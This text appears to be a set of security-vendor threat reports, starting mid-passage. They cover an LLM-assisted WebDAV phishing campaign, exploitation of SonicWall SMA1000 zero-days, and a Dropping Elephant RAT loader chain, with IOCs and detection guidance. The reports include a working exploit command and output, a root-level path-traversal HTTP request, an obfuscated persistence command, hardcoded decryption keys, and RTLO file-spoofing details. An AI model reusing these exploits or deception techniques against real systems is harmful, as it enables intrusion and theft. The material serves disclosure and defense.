  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

Hardcoded-$outDir-path.png
Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.


It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

Simba-server-screenshot-panel.png
Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.

Simba-server-system-requirements.png
Figure 10: Simba service system requirements.

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`‮ƒdᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

simba-service-presentation.png
Figure 12: Simba service presentation.

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

simba-service-page-with-blocking-capabilities_.png
Figure 13: Simba service page with blocking capabilities.

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Country

Requests

Share of requests

Unique client IPs

Launch events

Mexico

63,622

82.5%

2,698

2,365

United States

4,032

5.2%

463

47

Germany

2,751

3.6%

59

1

United Kingdom

645

0.8%

40

0

Netherlands

532

0.7%

49

1

France

407

0.5%

21

0

Finland

401

0.5%

6

10

Brazil

343

0.4%

41

0

Republic of Korea

312

0.4%

16

1

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Method

Count

PROPFIND

57,287

GET

13,088

OPTIONS

6,597

PROPPATCH

125

LOCK

1

Table 4: HTTP methods observed in WebDAV delivery traffic.

Status

Count

207

57,412

200

19,532

206

154

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Name

MITRE ATT&CK technique

Code

Payload execution

User Execution: Malicious File

T1204.002

Masquerading

Right-to-Left Override

T1036.002

Masquerading

Double File Extension

T1036.007

DLL sideloading

Hijack Execution Flow: DLL

T1574.001

Obfuscation

Encrypted/Encoded File

T1027.013

Payload unpacking

Deobfuscate/Decode Files or Information

T1140

Payload carrier

Steganography / image-carried payload data

T1027.003

API hiding

Dynamic API Resolution

T1027.007

In-memory loading

Reflective Code Loading

T1620

Injection

Process Hollowing

T1055.012

Native API use

Native API

T1106

Sandbox evasion

Time Based Evasion

T1497.003

Anti-analysis

Debugger / instrumentation checks

T1622

UAC bypass

Bypass User Account Control

T1548.002

Persistence

Registry Run Keys / Startup Folder

T1547.001

Persistence

Scheduled Task

T1053.005

Collection

Keylogging

T1056.001

Collection

Screen Capture

T1113

Collection

Clipboard Data

T1115

Credential access

Credentials from Web Browsers

T1555.003

Credential access

Steal Web Session Cookie

T1539

Collection

Data from Local System

T1005

Collection

Automated Collection

T1119

Staging

Archive Collected Data: Archive via Utility

T1560.001

C2

Encrypted Channel

T1573

Exfiltration

Exfiltration Over C2 Channel

T1041

Possible persistence

WMI Event Subscription

T1546.003

Phishing lure generation

Generate Phishing Lures

AML.T0052

Resource Development

Resource Development

AML.TA0003

Obtain capabilities via LLM tooling

Obtain Capabilities

AML.T0016

LLM-assisted capability development

Develop Capabilities

AML.T0017

LLM prompt crafting for attack documentation

LLM Prompt Crafting

AML.T0065

Obtain capabilities via tooling

Obtain Capabilities: Software Tools

AML.T0016.001

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)

By: Rapid7
15 July 2026 at 12:19

Overview

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.

Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.

Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis.

Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:

  • 12.4.3-03245

  • 12.4.3-03387

  • 12.4.3-03434 (platform-hotfix)

  • 12.5.0-02283

  • 12.5.0-02624

  • 12.5.0-02800 (platform-hotfix)

These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.

Technical overview

The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By provided host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploit in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188. 

We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as ../../../../var/tmp/privesc. The system executes the script as root and (typically) reboots the appliance immediately after.

An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:

2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now

A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.

Mitigation guidance

Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.

Fixed versions are:

Product

Fixed Version

SMA1000 Series (6210, 7210, 8200v)

12.4.3-03453 (platform-hotfix) or later

SMA1000 Series (6210, 7210, 8200v)

12.5.0-02835 (platform-hotfix) or later

There are no workarounds available.

Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:

  • Performing a thorough forensic review for indicators of compromise.

  • Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.

  • Changing user and administrator passwords.

  • Resetting TOTP tokens following confirmed compromise.

Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.

Observed exploitation

Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.

With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.

Artifacts or evidence sources and IOCs

Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:

Characteristic behaviors

Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “localhost” or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.

Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.

Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).

Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.

Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.

AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.

extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.

Configuration artifacts

/var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.

Atomic Indicators

F.N.S Holdings Limited (ASN - 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:

  • 45.131.194.0/24

  • 45.146.54.0/24

  • 63.135.161.0/24

  • 173.239.211.0/24

  • 193.37.32[.]179

  • 193.37.32[.]214

  • 216.73.163[.]151

  • 216.73.163[.]158

Attacker Asset Names:

  • DESKTOP-KRLUI3J

  • DESKTOP-IC3C80F

  • DESKTOP-5P0TSCP

  • KALI

  • localhost

If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.

Rapid7 customers

Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.

Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.

Updates

  • July 15, 2026: Initial publication.
  • July 16, 2026: Additional IOCs identified and blog section updated with the identified attacker asset names.

Malware à la Mode: Tracking Dropping Elephant Tradecraft Through a China-Themed Loader Chain

17 June 2026 at 07:20

Executive summary

Rapid7 researchers have identified a sophisticated malware campaign attributed to the threat actor "Dropping Elephant," characterized by the use of a China-themed decoy document to deliver a heavily reworked, in-memory remote access trojan (RAT). This campaign demonstrates advanced evasion techniques, including DLL side-loading with a legitimate Microsoft binary (Fondue.exe) and the use of "Donut" shellcode to map the RAT directly into memory, effectively bypassing traditional disk-based security controls.

The revamped RAT significantly complicates detection by using control-flow flattening, runtime API reconstruction, and hardened C2 communications. Despite these modifications, Rapid7's deep analysis confirms this activity is a direct evolution of Dropping Elephant's tradecraft, based on shared beaconing patterns, screenshot logic, and command-handler structures. This discovery underscores the importance of proactive threat hunting and memory-level visibility in detecting modern, low-footprint implants.

Rapid7 is actively monitoring the infrastructure and tradecraft associated with this actor so we can provide comprehensive protection and intelligence to our customers.

Defenders should not rely on the IOCs alone. The most durable detection opportunities in this campaign are the behaviors: a shortcut file spawning PowerShell, files staged in C:\Users\Public\, a scheduled task named GoogleErrorReport executing every minute, and Fondue.exe loading APPWIZ.cpl from C:\Users\Public\ rather than a legitimate Windows directory.

Because the final RAT is loaded directly into memory through Donut, defenders should also review whether their endpoint tooling can detect memory-resident payloads and security-control patching within a process, including AMSI, WLDP, and ETW tampering.

Overview

During a proactive threat hunt, Rapid7 identified a malicious Windows shortcut that matched activity previously associated with Dropping Elephant. The shortcut used a China energy-sector contract lure and led to a payload chain that shared the family’s delivery patterns but ended in a substantially reworked RAT.

The decoy document was a contract completion and acceptance notice for the GRES-3 project and referenced delivery of industrial seawater circulation pump systems. Because the final payload differed significantly from known samples, Rapid7 analyzed the chain from the initial shortcut through the final in-memory RAT.

Luckily, during the analysis, the staging server was active which allowed us to download all attack artifacts. The recovered files use Fondue.exe, a legitimate Microsoft binary, to side-load a malicious loader. The loader decrypts an AES-wrapped payload stored on disk. The decrypted payload contains a Donut shellcode loader that embeds the final RAT and uses Chaskey block cipher as part of its payload protection scheme. Donut then decrypts the final 32-bit native RAT, maps it, and executes it in memory.

We found that the final RAT differs significantly from older Dropping Elephant RAT samples. The malware uses control-flow flattening, runtime API reconstruction, and static CRT linking to complicate analysis. It also hardens C2 communications through HTTPS transport, Salsa20-protected C2 fields, and additional environment checks. Despite these changes, code-level comparison still identifies shared lineage with a Dropping Elephant RAT reference sample through command-handler structure, screenshot capture logic, WININET request flow, beaconing patterns, and repeated buffer constants.

Technical analysis and observed attacker behavior

delivery-chain-LNK-to-in-memory-RAT.jpg
Figure 1: Full delivery chain from LNK to in-memory RAT

Stage 1: GRES3001.lnk

The attack starts when a user executes GRES3001.lnk, a malicious Windows shortcut disguised as a PDF. When opened, the shortcut spawns an obfuscated PowerShell downloader using conhost.exe. The PowerShell uses basic string-splitting obfuscation (e.g., iw''r, g''c''i, r''e''n, c''p''i, and &(g''cm sch*)) to evade keyword detection.

The downloader connects to the staging server chinagreenenergy[.]org and retrieves the decoy GRES3001.pdf along with additional malware files. It immediately opens the China energy-sector lure document to distract the victim while staging the remaining payloads in the background.

GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png
Figure 2: GRES3001.lnk structure showing conhost.exe proxy, Edge icon spoof, and embedded PowerShell downloader

GRES-3-contract-completion-decoy-document.png
Figure 3: GRES-3 contract completion decoy document used as victim lure

Stage 2: Payload staging

Several payload files are downloaded with junk extensions such as .ezxzez, .cypyly, and .dzlzlz, then renamed by stripping filler characters to reconstruct Fondue.exe, APPWIZ.cpl, msvcp140.dll, and vcruntime140.dll in C:\Users\Public\. The encrypted payload editor.dat is written to the C:\Windows\Tasks\ folder.

File

Path

Description

SHA

GRES3001.pdf

C:\Users\Public\

Decoy document

56d656d684077e7b3231393f5464447cdc8eea81b6415c5f010bc52f0c8cb317

Fondue.exe

C:\Users\Public\

Legitimate Microsoft side-loading host

b58351ead08db413ca499cfeb1b1091ed8bfd68f4089605e452fa01ed46f42b1

APPWIZ.cpl

C:\Users\Public\

Malicious loader DLL

914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6

editor.dat

C:\Windows\Tasks\

Base64 text wrapping AES-256-CBC ciphertext

a5e448af73b0ff6b6fcfe6ef7808120e1fd7e5c4c9b4edd68e1c980e5ea3406b

Table 1: Files retrieved from the stager server 

After staging the files, the script creates a scheduled task named GoogleErrorReport, configured to run Fondue.exe every minute. It then deletes the original shortcut, leaving the scheduled task to trigger the next execution stage through the Fondue.exe side-loading chain.

&(gcm sch*) /create /Sc minute /tn GoogleErrorReport /tr "$b\Public\Fondue"

Figure 4: Scheduled task creation command using gcm sch* obfuscation

Stage 3: DLL side-loading

The Fondue.exe loads the malicious APPWIZ.cpl staged alongside it in the C:\Users\Public\ directory. The side-loaded APPWIZ.cpl exports RunFODW, the function expected by Fondue.exe. RunFODW serves as the loader entry point and continues the payload chain by reading and decrypting editor.dat.

Stage 4: Encrypted payload and Donut loader

APPWIZ.cpl sha256: 914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6, original name for the metadata is bluetooth_callback.dll.

APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png
Figure 5: APPWIZ.cpl PE metadata showing original filename bluetooth_callback.dll

It reads editor.dat, Base64-decodes it, and decrypts the result with AES-256-CBC via Windows CNG (bcrypt.dll). The 32-byte key and 16-byte IV are assembled on the stack from immediate mov operands:

KEY (32B): 1f1e1d1c1b1a101108090a0b0c0d0e0f00020405040102031011121415181611

IV (16B): 000803030902060708090a0b0c0d0e0f

The loader maps the shellcode into an RWX memory region using VirtualAlloc followed by memcpy call. Then it transfers execution indirectly by passing the shellcode address as the callback argument to EnumUILanguagesW.

EnumUILanguagesW-callback-proxy-Donut-shellcode.png
Figure 6: EnumUILanguagesW callback proxy transferring execution to Donut shellcode

The decrypted output is a Donut shellcode blob, not the final RAT. Donut uses Chaskey-CTR to protect the embedded PE, maps it in memory, resolves imports, applies relocations, and transfers execution without writing the RAT to disk. Before running the payload, Donut patches AMSI, WLDP, and ETW inside the current process, reducing in-memory scanning, code-integrity checks, and event telemetry for the unpacked RAT.

The final payload is a native 32-bit C++ implant SHA 7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54. It runs entirely in memory after the Donut stage maps it. At startup, the RAT first calls FreeConsole() to detach from any console so nothing shows up on screen. After that, it resolves its required APIs dynamically through a LoadLibrary / GetProcAddress loop. After API resolution, the RAT stages its crypto and builds C2 hostname, gcl-power[.]org. The cipher is Salsa20, and the key material is hardcoded. It is a 32-byte key tn9905083tfbsxqrxs7qe4ryw1nif8h1 with 8-byte nonce lPvymwIk. Next, it calls sub_40F4A0 subroutine which walks the running process list and checks each entry against a built-in list of debuggers, sandbox tools, and VM artifacts. During debugging, we observed the process scan, however, the implant continued normally, without killing security processes.

Both the process scan and public-IP geolocation check executed during dynamic testing without triggering self-termination. The RAT still reported the full process list in the mkeoldkf beacon field, exposing debuggers, sandbox tools, and other analysis artifacts to the operator.

After process scan, the malware creates a mutex “kshdkfhskdfjkhsdkfhsjkdfhkj” to prevent reinfection and reduce duplicate-process noise. 

Finally, the RAT fingerprints the host, derives its bot ID, and enters sub_415750(), where it begins polling for commands from the C2 server. Unfortunately, during the analysis the C2 was already down.

Host fingerprinting

Before beaconing, the RAT collects seven fields describing the victim host and packs them into the registration POST body:

Field

Meaning

umnome

Username

pmjodf

Computer name

idkdfjej

Bot ID / cid

vrjdmej

OS version

ndlpeip

Public IP and country

cokenme

Country

mkeoldkf

Full running-process list

Table 2: RAT registration beacon fields and their meaning

During fingerprinting, the RAT makes a one-time call to api.ipify.org to learn the host's own public IP, then passes that IP to ip2c.org to resolve the country. The user-agent used in the recon phase is Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 . The bot ID is not hardcoded. It is derived at runtime from the host and submitted in the idkdfjej field. Each field is independently wrapped as base64url(Salsa20(base64url(value))).

Command and control

The RAT periodically sends HTTPS POST requests to the C2 server on port 443 (INTERNET_FLAG_SECURE). It uses a 23-character token, RRn926EmIRfm9IlJyP1yVO2 for C2 traffic to gcl-power[.]org. Each beacon loop iteration follows the same pattern:

  • POSTs dine=<cid> to the command-poll endpoint /prjozifvkpkfhkr/gedhagammgjvvva/;

  • blocks on InternetReadFile while waiting for a task;

  • treats MMMMM==YYYYY as the idle sentinel, sleeps for approximately three seconds, and re-polls;

  • C2 tasks are wrapped in  < > ( ) * delimiters. The RAT strips these characters and decodes the payload back to the original command using base64url(Salsa20(base64url(value))) again.

RAT-beacon-loop.png
Figure 7: RAT beacon loop showing connectivity check, command poll, and idle sentinel handling

Each cycle, the RAT first confirms the host is actually online by quietly pinging google.com, yahoo.com, and cloudflare.com. Only if that succeeds does it beacon to its C2. When all's well it checks in every 10 seconds and if a check-in fails it retries every 2 seconds, until it recovers.

Operator capabilities

During our analysis we confirmed 5 command handlers.

Token

Capability

Behavior

fl

Directory listing

Recursively enumerates files

dw

Download and execute

Fetches a file, writes it to disk, and runs it

sc

Screenshot

Captures the virtual screen with BitBlt, encodes it with WIC, and exfiltrates it to a dedicated endpoint. This behavior is command-gated, not periodic.

cmx

Shell execution

Runs cmd.exe /c chcp 65001 | <cmd> and captures stdout

uf

File upload

Exfiltrates a specified file

